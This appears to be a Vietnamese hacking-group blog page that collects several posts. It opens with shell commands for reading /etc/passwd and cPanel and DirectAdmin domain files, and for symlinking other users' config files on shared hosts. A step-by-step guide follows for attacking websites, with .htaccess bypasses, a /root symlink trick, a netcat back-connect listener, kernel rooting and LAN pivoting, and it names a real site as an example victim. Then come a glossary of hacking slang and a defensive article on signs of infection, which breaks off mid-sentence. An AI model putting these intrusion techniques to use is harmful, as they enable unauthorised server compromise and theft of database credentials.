Free share all

san

1) Xem list domain & user trên cùng sever 
<blockquote class="tr_bq">
directadmin: cat /etc/virtual/domainowners cpanel: ls -la /etc/valiases/tendomainvictim.com</blockquote>
 cd/etc/vdomainaliases;ls-lia Trường hợp đặc biệt khi không thể xem user nằm cùng host thì ta thêm && vào 
<blockquote class="tr_bq">
cd/etc/vdomainaliases && ls-lia</blockquote>
 2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau. 
<blockquote class="tr_bq">
cat /etc/passwd less /etc/passwd more /etc/passwd head /etc/passwd tac /etc/passwd rev /etc/passwd xxd /etc/passwd</blockquote>
 3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được) 
 
<blockquote class="tr_bq">
dir /home/ten user can local/public_html</blockquote>
 vd: dir /home/vhb/public_html 4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2 -> có thể sài các lệnh đó thay thế cho cat, less,... 
<blockquote class="tr_bq">
cat/home/ten user can local/public_html/index.php</blockquote>
 vd: cat /home/vhb/public_html/@vhb@/includes/config.php vd: less /home/vhb/public_html/@vhb@/includes/config.php 5) Symlink: tác dụng gần giống như tạo shorcut trên windows. 
 
<blockquote class="tr_bq">
ln -s/home/ten user can local/public_html/index.php index.txt</blockquote>
 vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.txt vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến. 6) Tìm path của mấy victim sài Add on domain 
 
<blockquote class="tr_bq">
find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'</blockquote>
 ---------------------------------------------- 
 
concobe - VHB Group

Tổng hợp những lệnh shell hay dùng khi local

1) Xem list domain & user trên cùng sever directadmin: cat /etc/virtual/domainowners cpanel: ls -la /etc/valiases/tendomainvictim.com ...

Đọc thêm »

san

Tình hình là có khá nhiều bạn pm mình hỏi cách check site.Mà Mình cũng không có nhiều thời gian để chỉ từng bạn.Nên mình viết cái đường đi.Tư duy check site để các bạn đọc.Từ đó có một cái định hướng.Tự mình nghiên cứu.Thực hiện. Điều đầu tiên mình muốn nói đó là muốn tấn công 1 site.Điều đầu tiên bạn cần có đấy là sự kiên nhẫn.Cóp nhặt từng tí một.Không thể nôn nóng mà bỏ qua nhiều thông tin.Dẫn đến giảm hiệu quả.Không phải website nào tấn công 1 phát cũng là được ngay.Chính vì thế nên phải tích từng đi thông tin một. Nếu để kiếm một site để check chơi thì tốt nhất là các bạn nên dùng các dork tìm các site có lỗi sẵn.Ví dụ như các dork sqli .Các dork của các phiên bản joomla ,vbulletin có lỗi.Như vậy sẽ hiệu quả hơn là tìm 1 site bất kì rồi xem thử nó có lỗi không. (Ngoài ra còn có một cách nhanh hơn nữa đó là dùng tool scan dork.Nó sẽ tìm cho bạn một khối site bị lỗi có thể check được từ một list dork có sẵn.Cái này hiệu quả hơn cho dân UG lúc tìm shop lỗi.) Còn nếu bạn muốn tấn công một website xác định.Thì việc này khó hơn.Giả sử victim của bạn có domain là target.com .Để tấn công victim một cách hiệu quả.(Mình nói ở đây là cả đối với host share và private.Site lớn có bảo mật tốt,lẫn site nhỏ,forum. ) . Bước 1: Lấy thông tin ban đầu. Lấy thông tin của victim .Bằng các whois nó.Tìm hiểu càng nhiều thông tin về victim càng tốt.Và google ,bing ,yandex .... đều là các công cụ hữu ích.Mình khuyên nên thử với nhiều công cụ tìm kiếm.Vì bản thân thuật toán tìm kiếm của các công cụ này khác nhau nên dẫn đến cho nhiều kết quả với hiệu quả khác nhau. Ví dụ như nhập vào công cụ search như sau 
<blockquote class="tr_bq">
ip:123.101.11.122 id=</blockquote>
 Nó sẽ cho ta một số thông tin thú vị.Bạn hãy cố gắng thu thập thông tin ban đầu càng nhiều càng tốt.Chủ sở hữu domain.Admin của website.Support.Kể cả số điện thoại , facebook,gmail ,yahoo, địa chỉ mail của công ty.1 Attacker giỏi là một attacker có khả năng tận dụng mọi sơ hở.Mọi điểm yếu có thể tấn công. Bước 2 : Phân tích khả năng tấn công. Đầu tiên là nên scan victim chính.Scan victim chính là công việc chủ đạo.Đối với site nằm trong server private của các công ty lớn.Thì đây là bước đóng vai trò quyết định bạn có thể attack được nó hay không. Công cụ scan khá nhiều.Mình giới thiệu bạn 1 số bộ như acunetix Vulnerablility Scanner . OpenVas (của backtrack ) , w3af ( của backtrack ) , nessus (của backtrack ), wpscan ( scan wordpress trong backtrack ) , joomlascan ( scan bug joomla trong backtrack , uniscan ( trong backtrack ) ... ngồi mà kể hết các bộ công cụ chắc đến sáng mai.Công cụ thì nhiều nhưng các bạn nên chọn lựa.Đối với victim nào nên dùng bộ nào.Và nên dùng kết hợp.Vì như mình đã nói.Với mỗi tool khác nhau nó dùng cơ chế ,thuật toán scan khác nhau.Nên hiệu quả nó cũng khác nhau.Từ kết quả scan được.Nó cho ta định hình phải tấn công như thế nào. Scan server.Scan lấy thông tin về server.Ví dụ như xem server dùng hệ điều hành gì.Sử dụng Apache ,SII phiên bản bao nhiêu. Được viết trên ASP hay PHP .Port nào mở.(Để scan port thì có thể dùng nmap.Nó là công cụ rất hiệu quả). Mọi thông tin về phiên bản,port bạn hãy google ngay.Hoặc vào exploit-db.com xem nó có thể bị attack thông qua nó hay không.Còn không bạn có thể lưu lại thông tin.Rồi sau đó kiểm tra 1 lần xem sao.Đây là các bước rất cần thiết đối với việc tấn công 1 website lớn. Đối với Server share host.Phân tích khả năng tấn công .Đây cũng là một bước rất quan trọng.Nó rút ngắn thời gian tấn công của bạn.Nhưng mang lại hiệu quả cao. Mình thấy đa số (Và trước đây mình cũng vậy ). Đó là để tấn công 1 website ko bị lỗi ,Không có lỗ hổng.Mình thường reserve ip của server chứa victim.Rồi mở từng site check xem có sqli hay không. Đồng ý là sqli rất nhiều.Và rất dễ khai thác.Nhưng không phải lúc nào mình cũng có thể may mắn.Check 1 cái là ra link bị lỗi ngay.Nếu scan toàn bộ site thì đến bao giờ mới xong.Có một cách rút ngắn quá trình này đó là xác định loại site cần tấn công. Mình ví dụ.Bạn có kinh nghiệm về check wordpress.Bạn muốn tìm các site trong server sử dùng mã nguồn này để tấn công.Sau đó local sang victim chính.Hãy dùng google với dork là ip:112.78.2.247 "wordpress" Như đây mình nhận được một victim trong server này sử dụng wordpresss http://www.saigoncanho.com.vn/ Tương tự cho các mã nguồn khác cũng vậy. Bước 3: Tấn công. Đây là bước nhiều nhất,Nhưng mình nói ít nhất,ví nó có quá nhiều kiểu tấn công.Biết nói thế nào cho hết được. Chỉ đúc kết một số kinh nghiệm.Ví dụ như đối với forum vbb chẳng hạn.Nhiều phiên bản thực sự không có bug.Nhưng không phải vì thế mà ta bỏ qua.Hãy xem các web application của nó.Ví dụ như các mod.Đối với joomla và các mã nguồn khác cũng vậy.Hãy xem cách extension đi theo.Chúng rất hay bị lỗi.Bởi vì đây đa số là các ứng dụng tích hợp được viết bởi các web developer việt nam.Chúng rất kém trong việc bảo mật. Tận dụng tối đa kết quả mà các bạn scan ở trên.Ví dụ như bạn scan được server dùng apache 2.1 chẳng hạn.Hãy xem nó là bản update chưa.Nếu chưa có lỗi để khai thác không.Tấn công vào nó.Xem thông tin từ các lỗi public trên google mà tấn công.Hãy cố gắng tấn công 1 cách từ từ. Xem trong cấu trúc site khi scan được .Chỗ nào là khai thác được.Ví dụ như chúng để lại database back up trên site chẳng hạn.Tải về và phân tích ngay. Nhiều bộ công cụ scan nó scan đến từng lỗi nhỏ.Như tìm vị trí có thể up ảnh, up file bẳng hạn.Hãy cố bypass up shell thử xem. Ở mục này có quá nhiều cái để nói.Và thực chất đa số mọi tut hack thường nói về phần này.Nên mình để phần này cho các bạn.Hãy cố gắng tích hợp càng nhiều kinh nghiệm phần này .Càng nhiều càng tốt.Các phần khác nó đi theo 1 qui luật nhất định.Có thể đối với victim nào bạn cũng làm như thế.Nhưng đối với phần này.Nó phụ thuộc vào nhiều thứ.Phụ thuộc vào kết quả scan được.Phụ thuộc vào những đối tượng khác nhau.Nên nó rất đa dạng. Kết quả ở phần này.Là bạn có thể có được tài khoản admin.Up được shell. Bước 4: Nếu tấn công được trực tiếp target rồi thì không nói làm gì.Nếu tấn công đc một site nằm cùng server.Thì bước tiếp theo là local.Về vấn đề local này cũng khá rộng.Mình chỉ nói qua một phần trong đó. Trong local thì symlink là một kiểu local phổ biến nhất ,Được dùng nhiều nhất.Nó như là một shortcut bên window.Góp phần làm nhanh quá trình gọi chạy một file.Nếu như gọi trực tiếp hardlink thì quá trình họat động của server sẽ chậm hẳng. Trong phương pháp local.Mục đích chính của chúng ta là đọc / lấy các file config (hoặc 1 file config của target cần tấn công ). Việc thực hiện đầu tiên là chúng ta thường đọc file /etc/passwd để xác định tất cả các user nằm trong server ( Và không phải server nào cũng cho ta thực hiện đc.Phải bypass ). Để đọc file config ta còn phải nắm các mã nguồn.Với mỗi mã nguồn khác nhau thì file config nó nằm ở một vị trí khác nhau. Mình đưa ra một số file config đối với một số mã nguồn tương ứng. 
<blockquote class="tr_bq">
vBulletin : /includes/config.php IPB : /conf_global.php MyBB: /inc/config.php Phpbb: /config.php Php Nuke : /config.php Php-Fusion : config.php SMF : /Settings.php Joomla : configuration.php WordPress : /wp-config.php Drupal: /sites/default/settings.php Oscommerce: /includes/configure.php</blockquote>
 
Từ đây ta hình dung được đường dẫn chính xác dẫn đến file config của victim.Từ đó có thể symlink được chính xác file cần đọc. (Nếu như victim đổi vị trí của file config.Thì ta phải ngồi symlink mò.Symlink từ index nó,đến những file khác,xem nó include những file nào .Từ file này dò đến file kia.Đối với một attacker kinh nghiệm.Thì việc bảo mật bằng cách giấu file config của victim đôi khi không hiệu quả. Cấu trúc lệnh symlink (để symlink file có địa chỉ là /home/usertarget/public_html/includes/config.php target.txt lệnh này symlink file config về file target.txt nằm ở thư mục ta đang symlink. Ở điều kiện tốt nhất ta có thể đọc đc file target.txt này trên host ta đặt shell. Nhưng không phải khi nào ta cũng có điều kiện tốt như vậy. Chủ của website có thể chmod không cho ta đọc file config (100,101,400... ) chẳng han.Tùy server.Hoặc chủ website đặt tại thư mục chứa file config đấy 1 file .htaccess có nội dung như sau. 
<blockquote class="tr_bq">
<Files config.php> order allow, deny deny from all </Files></blockquote>
 Nếu chủ site đặc như thế thì khi symlink ta sẽ nhận được thông báo là 403 Forbidden Error. Ở bài này mình chỉ nói đến tư tưởng tấn công chứ không nói chi tiết về phương pháp tấn công.Nên mình chỉ nêu 1 vài ví dụ. Nếu như ta không đọc được thì sao.Ta phải suy nghĩ vì sao không đọc được.Tư duy đặt trường hợp ta vào vị trí admin của victim.Nếu là ta ,ta sẽ bảo mật như thế nào.Sẽ làm gì.Từ đó ta có những biện pháp khác nhau. Giả sử như ta tìm giải pháp để bypass 403 forbidden error do chủ website đặt file .htaccess chẳng hạn nhé. Trên host ta đặt shell.Tạo một thư mực có tên là VHBSYSTEM chẳng hạn.Đường dẫn đầy đủ của nó ví dụ như sau : /home/attacker/public_html/VHBSYSTEM/ .Chmod lại thư mục này là 777 (lúc đầu chưa cần.Nếu không được hẵn thử ). Sau đó tạo một file .htaccess với nội dung như sau 
<blockquote class="tr_bq">
HeaderName vhb.txt</blockquote>
 Đặt file .htaccess này vào thư mục /home/attacker/public_html/ . Nếu ta symlink file config vào file vhb.txt với cấu trúc lệnh ln -s /home/victim/public_html/includes/config.php vhb.txt Thì sau khi symlink xong .Ta vào thư mục VHBSYSTEM và đọc file vhb.txt vừa symlink về.Nó sẽ bypass được. Đây chỉ là 1 ví dụ trong nhiều cách bypass.Nhiều bạn bảo local phải có tư duy.Nhưng mình nghĩ muốn local tốt thì phải biết nhiều cách bypass trong trường hợp không đọc được file. Vấn đề này bạn nên tham khảo thêm ở nhiều tài liệu được share trong VHB. ( hoặc ghé thăm vhbgr0up.blogspot.com ) Trong các cách cũng được khá nhiều người dung.Nhưng dùng symlink all config ( cái này trên blog và forum của vhb cũng có nói rồi ). Sym root bằng cách tạo sym root ở một server linux nào đó .Sau đó tar lại.Up lên server cần local.Cái này trên VHB cũng nhiều bài nói đến rồi. Mình đề cập thêm việc sym root ngay trực tiếp trên server.Đôi khi nó khá hiệu quả trong việc bypass security. Như khi nãy.Tạo một folder VHB để tiện xử lí.Link full của nó /home/attacker/public_html/VHB .Sau đó ta thực hiện symlink trên shell như sau " ln -s /root" . Sau đó ta chọn một victim có domain là target.com chẳng hạn.Tiếp tục type "ls -la /etc/valiases/target.com" .Sau ddos quay lại folder ta vừa tạo VHB.Đặt vào đấy 1 file htaccess có nội dung như sau 
<blockquote class="tr_bq">
Options Indexes FollowSymLinks DirectoryIndex index.htm AddType txt .php AddHandler txt .php</blockquote>
 Bây giờ ta vào xem ta symlink được những gì.Nếu như chỗ nào nó báo permisssion access.Thì cũng đừng lo lắng bận tâm.Hãy vào sâu hơn.Giả sử ta cần xem target.com có user lấy được ở trên là target đi. Thì ta xem nó với link sau attacker.com/VHB/root/home/target/public_html/ ...... Đôi khi xem không được thì có thể view source lên nhé. Thôi dừng ở việc local lại.Không viết đến khi nào mới xong.Bạn cứ lượn trên blog VHB 1 tuần.Kiểu gì chả pro local :). Bước 5.Rooting. Nếu là server linux thì nên thử Get root nó .Đôi khi thử rooting server lại là con đường ngắn hơn cả local sang.Không phải khi nào cũng local được.Nó bảo mật bá đạo quá thì cũng chịu chết thôi.Hãy thử rooting nếu được. Tạo một backconnect hoặc có thể bind một port nào đó.MỘt back connect ở đây là server có thể tự connect về mình sau khi mình mở một port đặng biệt nào đó và lắng nghe nó bằng netcat ( nc -l -v -p 4444 ) chẳng hạn.Có khá nhiều shell hỗ trợ back-connect.. Muốn rooting thì phải kiểm tra xem kernel đó có rooting được hay không.Trên shell bạn có thể kiểm tra bằng lện "uname -a" .Lấy phiên bản của kernel nhân được .Tìm trên google xem nó thể exploit đc hay không. (Có thể vào exploit-db.com/local/ ) để tìm. Bước 6: Attack Mạng Lan. Nếu bạn đã chiếm đc 1 server máy chủ rồi.Thì hãy cố gắng thử tấn công các máy cùng mạng Lan với nó.Đây là cơ hội để thể hiện khả năng attack trong mạng Lan của bạn.Cái này khi nào đấy bảo smod Hoangnhatnam của chúng ta demo.Để anh em mở mắt :)) 
 
iCarus - VHB Group

Tư duy - Phương hướng Attack Website - Server

Tình hình là có khá nhiều bạn pm mình hỏi cách check site.Mà Mình cũng không có nhiều thời gian để chỉ từng bạn.Nên mình viết cái đường đi.T...

Đọc thêm »

san

★ DDoS = 
Distributed Denial of Service 
 
★ DrDoS = 
Distributed Reflected Denial of Service Attack, uses a list of 
reflection servers or other methods such as DNS to spoof an attack to 
look like it's coming from multiple ips. Amplification of power in the 
attack COULD occur. 
 
★ FTP = 
File Transfer Protocol. Used for transferring files over an FTP server. 
 
★ FUD = 
Fully Undetectable 
 
★ Hex = 
In computer science, hexadecimal refers to base-16 numbers. These are 
numbers that use digits in the range: 0123456789ABCDEF. In the C 
programming language (as well as Java, JavaScript, C++, and other 
places), hexadecimal numbers are prefixed by a 0x. In this manner, one 
can tell that the number 0x80 is equivalent to 128 decimal, not 80 
decimal. 
 
★ HTTP = 
Hyper Text Transfer Protocol. The foundation of data communication for the World Wide Web. 
 
★ IRC = 
Internet Relay Chat. Transmiting text messages in real time between online users. 
 
★ JDB = 
Java drive-by, a very commonly used web-based exploit which allows an 
attacker to download and execute malicious code locally on a slave's 
machine through a widely known java vulnerability. 
 
★ Malware = 
Malicious Software 
 
★ Nix = 
Unix based operating system, usually refered to here when refering to DoS'ing. 
 
★ POP3 = 
This is the most popular protocol for picking up e-mail from a server. 
 
★ R.A.T = Remote Administration Tool 
 
★ SDB = 
Silent drive-by, using a zero day web-based exploit to hiddenly and 
un-detectably download and execute malicious code on a slave's system. 
(similar to a JDB however no notification or warning is given to the 
user) 
 
★ SE = 
Social Engineering 
 
★ Skid = 
Script Kid/Script Kiddie 
 
★ SMTP = 
A TCP/IP protocol used in sending and receiving e-mail. 
 
★ SQL = 
Structured Query Language. It's a programming language, that used to 
communicate with databases and DBMS. Can go along with a word after it, 
such as "SQL Injection." 
 
★ SSH = 
Secure Shell, used to connect to Virtual Private Servers. 
 
★ TCP = 
Transmission Control Protocol, creates connections and exchanges packets of data. 
 
★ UDP = 
User Datagram Protocol, An alternative data transport to TCP used for DNS, Voice over IP, and file sharing. 
 
★ VPN = 
Virtual Private Network 
 
★ VPS = 
Virtual Private Server 
 
★ XSS (CSS) = 
Cross Site Scripting 
 
Words 
 
Algorithm = 
A series of steps specifying which actions to take in which order. 
 
ANSI Bomb = 
ANSI.SYS key-remapping commands consist of cryptic-looking text that specifies, using ansi numeric codes to redefine keys. 
 
Back Door = 
Something a hacker leaves behind on a system in order to be able to get back in at a later time. 
 
Binary = 
A numbering system in which there are only two possible values for each digit: 0 and 1. 
 
Black Hat = 
A hacker who performs illegal actions to do with hacking online. (Bad guy, per se) 
 
Blue Hat = 
A blue hat hacker is someone outside computer security consulting firms 
who is used to bug test a system prior to its launch, looking for 
exploits so they can be closed. Microsoft also uses the term BlueHat to 
represent a series of security briefing events. 
 
Bot = 
A piece of malware that connects computer to an attacker commonly using the HTTP or IRC protocal to await malicous instructions. 
 
Botnet = 
Computers infected by worms or Trojans and taken over by hackers and 
brought into networks to send spam, more viruses, or launch denial of 
service attacks. 
 
Buffer Overflow = 
A classic exploit that sends more data than a programmer expects to 
receive. Buffer overflows are one of the most common programming errors,
 and the ones most likely to slip through quality assurance testing. 
 
Cracker = 
A specific type of hacker who decrypts passwords or breaks software copy protection schemes. 
 
DDoS = 
Distributed denial of service. Flooding someones connection with 
packets. Servers or web-hosted shells can send packets to a connection 
on a website usually from a booter. 
 
Deface = 
A website deface is an attack on a site that changes the appearance of the site or a certain webpage on the site. 
 
Dictionary Attack = 
A dictionary attack is an attack in which a cyber criminal can attempt 
to gain your account password. The attack uses a dictionary file, a 
simple list of possible passwords, and a program which fills them in. 
The program just fills in every single possible password on the list, 
untill it has found the correct one. Dictionary files usually contain 
the most common used passwords. 
 
DOX = 
Personal information about someone on the Internet usualy contains real 
name, address, phone number, SSN, credit card number, etc. 
 
E-Whore = 
A person who manipulates other people to believe that he/she is a 
beautiful girl doing cam shows or selling sexual pictures to make money. 
 
Encryption = I 
n cryptography, encryption applies mathematical operations to data in 
order to render it incomprehensible. The only way to read the data is 
apply the reverse mathematical operations. In technical speak, 
encryption is applies mathematical algorithms with a key that converts 
plaintext to ciphertext. Only someone in possession of the key can 
decrypt the message. 
 
Exploit = 
A way of breaking into a system. An exploit takes advantage of a weakness in a system in order to hack it. 
 
FUD = 
Fully undetectable, can be used in many terms. Generally in combination with crypters, or when trying to infect someone. 
 
Grey Hat = 
A grey hat hacker is a combination of a Black Hat and a White Hat 
Hacker. A Grey Hat Hacker may surf the internet and hack into a computer
 system for the sole purpose of notifying the administrator that their 
system has been hacked, for example. Then they may offer to repair their
 system for a small fee. 
Hacker (definition is widely disputed among people...) = A hacker is 
someone who is able to manipulate the inner workings of computers, 
information, and technology to work in his/her favor. 
 
Hacktivist = 
A hacktivist is a hacker who utilizes technology to announce a social, 
ideological, religious, or political message. In general, most 
hacktivism involves website defacement or denial-of-service attacks. 
 
IP Address = 
On the Internet, your IP address is the unique number that others use to send you traffic. 
 
IP Grabber = 
A link that grabs someone's IP when they visit it. 
 
Keylogger = 
A software program that records all keystrokes on a computer's keyboard, used as a surveillance tool or covertly as spyware. 
Leach = A cultural term in the warez community referring to people who 
download lots of stuff but never give back to the community. 
 
LOIC/HOIC = 
Tool(s) used by many anonymous members to conduct DDoS attacks. It is not recommended to use these under any circumstances. 
 
Malware = 
Software designed to do all kinds of evil stuff like stealing identity 
information, running DDoS attacks, or soliciting money from the slave. 
 
Neophyte = 
A neophyte, "n00b", or "newbie" is someone who is new to hacking or 
phreaking and has almost no knowledge or experience of the workings of 
technology, and hacking. 
 
smith = 
Somebody new to a forum/game. 
 
OldFag = 
Somebody who's been around a forum/game for a long time. 
 
Packet = 
Data that is sent across the Internet is broken up into packets, sent 
individually across the network, and reassembled back into the original 
data at the other end. 
 
Phreak = 
Phone Freaks. Hackers who hack cell phones for free calling. Free Long distance calling. Etc. 
 
Phreaking = 
The art and science of cracking the phone network. 
 
Proxy = 
A proxy is something that acts as a server, but when given requests from clients, acts itself as a client to the real servers. 
 
Rainbow Table = 
A rainbow table is a table of possible passwords and their hashes. It is
 way faster to crack a password using rainbow tables then using a 
dictionary attack (Bruteforce). 
 
Remote Administration Tool = 
A tool which is used to remotely control (an)other machine(s). These can
 be used for monitoring user actions, but often misused by cyber 
criminals as malware, to get their hands on valuable information, such 
as log in credentials. 
 
Resolver = 
Software created to get an IP address through IM (instant messenger, like Skype/MSN) programs. 
 
Reverse Engineering = 
A technique whereby the hacker attempts to discover secrets about a 
program. Often used by crackers, and in direct modifications to a 
process/application. 
 
Root = 
Highest permission level on a computer, able to modify anything on the system without restriction. 
 
Rootkit (ring3 ring0) = 
A powerful exploit used by malware to conceal all traces that it exists.
 Ring3 - Can be removed easily without booting in safemode. Ring0 - Very
 hard to remove and very rare in the wild, these can require you to 
format, it's very hard to remove certain ring0 rootkits without 
safemode. 
 
Script Kiddie = 
A script kid, or skid is a term used to describe those who use scripts 
created by others to hack computer systems and websites. Used as an 
insult, meaning that they know nothing about hacking. 
 
Shell = 
The common meaning here is a hacked web server with a DoS script 
uploaded to conduct DDoS attacks via a booter. OR A shell is an 
script-executing unit - Something you'd stick somewhere in order to 
execute commands of your choice. 
 
Social Engineer = 
Social engineering is a form of hacking that targets people's minds 
rather than their computers. A typical example is sending out snail mail
 marketing materials with the words "You may already have won" 
emblazoned across the outside of the letter. As you can see, social 
engineering is not unique to hackers; it's main practitioners are the 
marketing departments of corporations. 
 
Spoof = 
The word spoof generally means the act of forging your identity. More 
specifically, it refers to forging the sender's IP address (IP 
spoofing). (Spoofing an extension for a RAT to change it from .exe to 
.jpg, etc.) 
 
SQL Injection = 
An SQL injection is a method often used to hack SQL databases via a 
website, and gain admin control (sometimes) of the site. You can attack 
programs with SQLi too. 
 
Trojan = 
A Trojan is a type of malware that masquerades as a legitimate file or 
helpful program with the ultimate purpose of granting a hacker 
unauthorized access to a computer. 
 
VPS = 
The term is used for emphasizing that the virtual machine, although 
running in software on the same physical computer as other customers' 
virtual machines, is in many respects functionally 
equivalent to a separate physical computer, is dedicated to the 
individual customer's needs, has the privacy of a separate physical 
computer, and can be configured to run server software. 
 
Warez = 
Software piracy 
 
White Hat = 
A "white hat" refers to an ethical hacker, or a computer security 
expert, who specializes in penetration testing and in other testing 
methods to ensure the security of a businesses information systems. 
(Good guy, per se) 
 
Worm = 
Software designed to spread malware with little to no human interaction. 
 
Zero Day Exploit = 
An attack that exploits a previously unknown vulnerability in a computer
 application, meaning that the attack occurs on "day zero" of awareness 
of the vulnerability. This means that the developers have had zero days 
to address and patch the vulnerability. 
 
Capuchino - VHB Group

Một vài thuật ngữ hacking

★ DDoS = Distributed Denial of Service ★ DrDoS = Distributed Reflected Denial of Service Attack, uses a list of reflection servers or o...

Đọc thêm »

san

<table border="0" cellpadding="8" cellspacing="0" class="tborder"><tbody>
<tr><td id="posts_container">
<div id="posts">
<a href="https://www.blogger.com/null" id="pid252" name="pid252"></a>
<div class="post " id="post_252">

<div class="post_content">
<div class="post_body scaleimages" id="pid_252">
Chỉ cần dựa vào những dấu hiệu lạ xuất 
hiện trong quá trình sử dụng máy tính, bạn có thể biết được máy của bạn 
đã và đang bị tấn công để tìm cách khắc phục ngay. 
 
 
Trong bức tranh bảo mật hiện nay, mọi thiết bị đều có nguy cơ bị tấn 
công với nhiều cách thức phức tạp và tinh vi đến mức khó nhận biết. 
Những phần mềm chống và diệt virus thực tế chỉ giúp chúng ta an tâm phần
 nào chứ không giúp cho hệ thống, thông tin, dữ liệu của bạn chắc chắn 
được an toàn tuyệt đối. 
 
Trong thực tế, việc quét mã độc (malware) toàn hệ thống đôi khi mang lại
 kết quả không chính xác, đặc biệt là thời gian quét ngắn, khoảng thời 
gian giữa những lần quét không hợp lý. Lý do rất đơn giản, tin tặc và 
những phần mềm độc hại do chúng tạo ra hiện “biến hóa khôn lường”, liên 
tục thay đổi chiến thuật cho phù hợp với từng thời điểm. Thậm chí, chỉ 
cần một thay đổi nhỏ chỉ vài byte trong bên trong mã độc cũng khiến cho 
những chương trình phát hiện virus khó có thể phát hiện ra. 
 
Các hãng bảo mật hiện nay cũng có phương pháp để chống lại điều này, 
nhiều chương trình chống malware có khả năng theo dõi trạng thái và hành
 vi của các mã độc bị phát hiện, từ đó có thể dự đoán được những biến 
thể khác của các chương trình nguy hiểm có thể sẽ xuất hiện trong tương 
lai. Một số chương trình khác sử dụng môi trường ảo hóa, giám sát hệ 
thống, phát hiện sự bất thường của lưu lượng mạng và tổng hợp những yếu 
tố này để có được những dự đoán chính xác hơn. Mặc dù vậy, với những thủ
 đoạn mới của hacker, đôi khi những cách này không hiệu quả và dễ dàng 
bị chúng qua mặt. 
 
Một khi những chương trình chống tấn công trở nên không mấy tác dụng thì
 bạn có thể dựa vào những dấu hiệu, triệu chứng lạ của thiết bị để từ đó
 có những cách giải quyết, khắc phục hay ít nhất cũng ngăn chặn chúng 
tấn công vào những thông tin, dữ liệu nhạy cảm. Trong mọi trường hợp, 
các chuyên gia bảo mật khuyên rằng, tốt nhất là nên khôi phục lại hệ 
thống hoặc cài mới hệ điều hành. Đối với một số dòng máy tính, chỉ cần 
một thao tác Restore là xong. Đây là một lời khuyên đúng đắn, vì khi một
 máy tính bị nhiễm sẽ không thể tin tưởng được, dù được quét đi quét lại
 bằng những công cụ bảo mật. 
 
Những dấu hiệu sau đây sẽ giúp bạn biết được hệ thống máy tính của mình 
chắc chắn đã bị tấn công và cách xử lý cho phù hợp với từng tình huống. 
 
Dấu hiệu thứ 1: Thông báo của trình chống virus giả 
 
Thủ đoạn này đã xuất hiện từ lâu, nhưng cách làm ngày càng tinh vi hơn. 
Khi máy tính của bạn đã bị tấn công sẽ xuất hiện một chương trình 
(thường là giao diện web dạng pop-up) hiện ra với thông báo máy tính 
đang bị xâm nhập và gặp nguy hiểm. Hiện tại đa phần đều có thể biết 
những thông báo này là giả mạo, nếu làm theo sẽ nguy hiểm, nhưng cũng 
không ít người ngây thơ, vội vàng làm theo để máy không bị nhiễm virus. 
Nhưng thực tế việc nhấn vào những cửa sổ này là đã vô tình “rước giặc 
vào nhà”. 
 
<div style="text-align: center;">
<img alt="" class="attachment" src="http://vnnict.com/attachment.php?aid=2" />   
 
 
 
<div style="text-align: left;">
<div style="text-align: center;">
Làm theo những thông báo giả, bạn sẽ tải về những chương trình nguy hiểm giả mạo tiện ích antivirus. 
 
 
<div style="text-align: left;">
Bạn sẽ nghĩ, chỉ cần nhấn Cancel hoặc tắt
 cái thông báo giả đó đi là máy tính an toàn. Điều này là sai lầm, vì đa
 phần những cảnh báo này được thực hiện dựa trên những tiện ích đang bị 
lỗ hổng và chưa được cập nhật, thường là Java Runtime Environment hoặc 
các plug-in của Adobe như Flash Player hay Adobe Reader.</div>
<div class="thx_list hide" id="thx_list252">
Dùng chiêu thông báo giả làm mồi nhử để 
người dùng tải về những ứng dụng độc trước đây thường là để dụ mua phần 
mềm, phát tán quảng cáo thì hiện tại được hacker khai thác để trộm thông
 tin thanh toán, thẻ tín dụng. Tin tặc sẽ có những thủ thuật để kiểm 
soát hoàn toàn hệ thống và thu thập toàn bộ các thông tin liên quan đến 
tín dụng, ngân hàng. 
 
Cách xử lý: Ngay khi nhận được thông báo giả về tình trạng máy bị nhiễm 
virus, bạn hãy nhanh chóng tắt máy tính ngay. Bạn cần quan sát kỹ các 
dấu hiệu để không bị nhầm, vì các thông báo giả được thiết kế rất giống 
với thông báo thật của các trình antivirus. 
Sau khi tắt máy tính, bạn tiếp tục khởi động lại máy, nhấn F8 sau khi 
qua màn hình boot để vào Safe mode để tìm và gỡ bỏ ứng dụng hoặc add-on,
 plug-in hay extension đã vô tình cài đặt. Việc tìm ứng dụng độc hại đòi
 hỏi phải tinh ý và cần chút kinh nghiệm vì rất dễ xóa nhầm các ứng dụng
 khác. 
 
Sau khi xóa thành công, bạn hãy dùng máy tính và theo dõi xem các thông 
báo có còn xuất hiện hay không, nếu chúng vẫn xuất hiện thì bạn dùng một
 trình antivirus như Trend Micro, AVG, Kaspersky… cập nhật cơ sở dữ liệu
 mới nhất và quét. Nếu vẫn không tiêu diệt được thì bạn nên cài lại hoặc
 khôi phục lại hệ điều hành về thời điểm an toàn nhất. 
 
Dấu hiệu thứ 2: Xuất hiện thanh công cụ lạ 
 
Trình duyệt tự dưng có rất nhiều thanh công cụ (toolbar) mặc dù bạn chưa
 từng cài. Đó là dấu hiệu thứ 2 cho biết máy tính đã bị tấn công. 
 
 
 
 
<div style="text-align: center;">
<img alt="" class="attachment" src="http://vnnict.com/attachment.php?aid=3" />   
 
 
Hàng chục thanh công cụ tự động cài trên Internet Explorer của một máy tính. 
 
 
 
 
<div style="text-align: left;">
Cách xử lý: Hầu hết những trình duyệt cho
 phép người dùng duyệt trước và kích hoạt các thanh công cụ muốn dùng. 
Chỉ cần nhấn chuột phải lên thanh toolbar của trình duyệt và bỏ chọn 
những thanh công cụ giả mạo. Để cho chắc chắn, bạn nên gỡ bỏ hoàn toàn. 
Đối với Internet Explorer, bạn hãy vào Control Panel > Uninstall 
program và chọn thanh công cụ giả mạo và gỡ bỏ đi là xong. Với Firefox 
thì bạn gỡ bỏ trong phần Addons, Chrome thì thao tác ở mục Extensions.</div>
 
<div style="text-align: left;">
Có các thanh công cụ “cứng đầu, không thể
 gỡ bỏ theo cách thông thường thì bạn hãy dùng cách sau. Ghi lại tên 
